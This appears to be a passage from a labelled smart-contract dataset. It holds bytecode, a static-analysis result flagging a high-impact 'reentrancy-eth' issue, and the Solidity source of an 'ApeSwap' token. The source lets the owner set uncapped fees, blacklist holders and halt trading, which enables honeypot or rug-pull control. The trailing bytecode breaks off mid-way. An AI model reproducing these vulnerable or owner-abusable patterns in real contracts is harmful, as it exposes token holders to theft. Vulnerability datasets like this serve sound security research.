7360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb4565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611ccc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce3565b816001815181106113ce576113ce611c6d565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d00565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611735565b6001600160a01b0389166000908152600260205260409020556115c681611794565b6115d084836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164382826114c1565b82101561165f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611d71565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149e565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117428385611cb4565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179e61149e565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114c1565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826118b6575060006106ad565b60006118c28385611d93565b9050826118cf8583611d71565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195c8161193c565b919050565b6000602080838503121561197457600080fd5b823567ffffffffffffffff8082111561198c57600080fd5b818501915085601f8301126119a057600080fd5b8135818111156119b2576119b2611926565b8060051b604051601f19603f830116810181811085821117156119d7576119d7611926565b6040529182528482019250838101850191888311156119f557600080fd5b938501935b82851015611a1a57611a0b85611951565b845293850193928501926119fa565b98975050505050505050565b600060208083528351808285015260005b81811015611a5357858101830151858201604001528201611a37565b81811115611a65576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8e57600080fd5b8235611a998161193c565b946020939093013593505050565b600080600060608486031215611abc57600080fd5b8335611ac78161193c565b92506020840135611ad78161193c565b929592945050506040919091013590565b600060208284031215611afa57600080fd5b81356112e08161193c565b8035801515811461195c57600080fd5b600060208284031215611b2757600080fd5b6112e082611b05565b600060208284031215611b4257600080fd5b5035919050565b60008060008060808587031215611b5f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9057600080fd5b833567ffffffffffffffff80821115611ba857600080fd5b818601915086601f830112611bbc57600080fd5b813581811115611bcb57600080fd5b8760208260051b8501011115611be057600080fd5b602092830195509350611bf69186019050611b05565b90509250925092565b60008060408385031215611c1257600080fd5b8235611c1d8161193c565b91506020830135611c2d8161193c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cad57611cad611c83565b5060010190565b60008219821115611cc757611cc7611c83565b500190565b600082821015611cde57611cde611c83565b500390565b600060208284031215611cf557600080fd5b81516112e08161193c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d505784516001600160a01b031683529383019391830191600101611d2b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dad57611dad611c83565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122039a6201f310efa2fb7ef47aa4e925ad6156a44e3eeb561a327e5b6193d1ef89464736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 351 |
0x9eacaa49aad9d420f76e660c24a2e2a5a9ef7774 | /**
https://apeswap.group/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Apeswap is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ApeSwap";
string private constant _symbol = "APESWAP";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 13;
//Sell Fee
uint256 private _taxFeeOnSell = 13;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x3E0Aba8A3C2E84B957f2766c01cC6F19E9d1CFeA);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 30000000 * 10**9;
uint256 public _swapTokensAtAmount = 1000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function AllowTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
} | 0x6080604052600436106101d05760003560e01c8063715018a6116100f757806398a5c31511610095578063c4d15bfc11610064578063c4d15bfc14610648578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806398a5c3151461058e578063a9059cbb146105b7578063bfd79284146105f4578063c3c8cd8014610631576101d7565b80638da5cb5b116100d15780638da5cb5b146104f65780638eb59a5f146105215780638f9a55c01461053857806395d89b4114610563576101d7565b8063715018a61461048b57806374010ece146104a25780637d1db4a5146104cb576101d7565b80632fd689e31161016f578063672434821161013e57806367243482146103d35780636b999053146103fc5780636d8aa8f81461042557806370a082311461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f578063658d4b7f146103aa576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061301c565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190613506565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f5b565b61084e565b60405161026491906134d0565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f91906130bf565b61086c565b005b3480156102a257600080fd5b506102ab6108fa565b6040516102b891906134eb565b60405180910390f35b3480156102cd57600080fd5b506102d6610920565b6040516102e391906136e8565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e9190612ec8565b61092a565b60405161032091906134d0565b60405180910390f35b34801561033557600080fd5b5061033e610a03565b60405161034b91906136e8565b60405180910390f35b34801561036057600080fd5b50610369610a09565b604051610376919061375d565b60405180910390f35b34801561038b57600080fd5b50610394610a12565b6040516103a19190613454565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190612f1b565b610a38565b005b3480156103df57600080fd5b506103fa60048036038101906103f59190612f9b565b610b0f565b005b34801561040857600080fd5b50610423600480360381019061041e9190612e2e565b610bff565b005b34801561043157600080fd5b5061044c60048036038101906104479190613065565b610cd6565b005b34801561045a57600080fd5b5061047560048036038101906104709190612e2e565b610d6f565b60405161048291906136e8565b60405180910390f35b34801561049757600080fd5b506104a0610db8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190613092565b610e40565b005b3480156104d757600080fd5b506104e0610ec6565b6040516104ed91906136e8565b60405180910390f35b34801561050257600080fd5b5061050b610ecc565b6040516105189190613454565b60405180910390f35b34801561052d57600080fd5b50610536610ef5565b005b34801561054457600080fd5b5061054d610f9d565b60405161055a91906136e8565b60405180910390f35b34801561056f57600080fd5b50610578610fa3565b6040516105859190613506565b60405180910390f35b34801561059a57600080fd5b506105b560048036038101906105b09190613092565b610fe0565b005b3480156105c357600080fd5b506105de60048036038101906105d99190612f5b565b611066565b6040516105eb91906134d0565b60405180910390f35b34801561060057600080fd5b5061061b60048036038101906106169190612e2e565b611084565b60405161062891906134d0565b60405180910390f35b34801561063d57600080fd5b506106466110a4565b005b34801561065457600080fd5b5061066f600480360381019061066a9190613065565b611139565b005b34801561067d57600080fd5b5061069860048036038101906106939190612e88565b6111d2565b6040516106a591906136e8565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613092565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190612e2e565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390613648565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a0613adb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080590613a34565b91505061077f565b5050565b60606040518060400160405280600781526020017f4170655377617000000000000000000000000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90613648565b60405180910390fd5b81600681905550806007819055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610937848484611668565b6109f884610943611495565b6109f385604051806060016040528060288152602001613f6360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a9611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a40611495565b73ffffffffffffffffffffffffffffffffffffffff16610a5e610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab90613648565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b17611495565b73ffffffffffffffffffffffffffffffffffffffff16610b35610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8290613648565b60405180910390fd5b60005b84849050811015610bf857610be433868684818110610bb057610baf613adb565b5b9050602002016020810190610bc59190612e2e565b858585818110610bd857610bd7613adb565b5b90506020020135612062565b508080610bf090613a34565b915050610b8e565b5050505050565b610c07611495565b73ffffffffffffffffffffffffffffffffffffffff16610c25610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7290613648565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610cde611495565b73ffffffffffffffffffffffffffffffffffffffff16610cfc610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4990613648565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc0611495565b73ffffffffffffffffffffffffffffffffffffffff16610dde610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b90613648565b60405180910390fd5b610e3e6000612235565b565b610e48611495565b73ffffffffffffffffffffffffffffffffffffffff16610e66610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb390613648565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610efd611495565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6890613648565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b600f5481565b60606040518060400160405280600781526020017f4150455357415000000000000000000000000000000000000000000000000000815250905090565b610fe8611495565b73ffffffffffffffffffffffffffffffffffffffff16611006610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461105c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105390613648565b60405180910390fd5b8060108190555050565b600061107a611073611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b6110ac611495565b73ffffffffffffffffffffffffffffffffffffffff166110ca610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111790613648565b60405180910390fd5b600061112b30610d6f565b9050611136816122f9565b50565b611141611495565b73ffffffffffffffffffffffffffffffffffffffff1661115f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ac90613648565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613648565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290613648565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613568565b60405180910390fd5b6000600460006113d9610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906136c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613588565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906136e8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf90613688565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613528565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613668565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906135c8565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613548565b60405180910390fd5b600a60008473fffffffffffffffffffffffffffffffff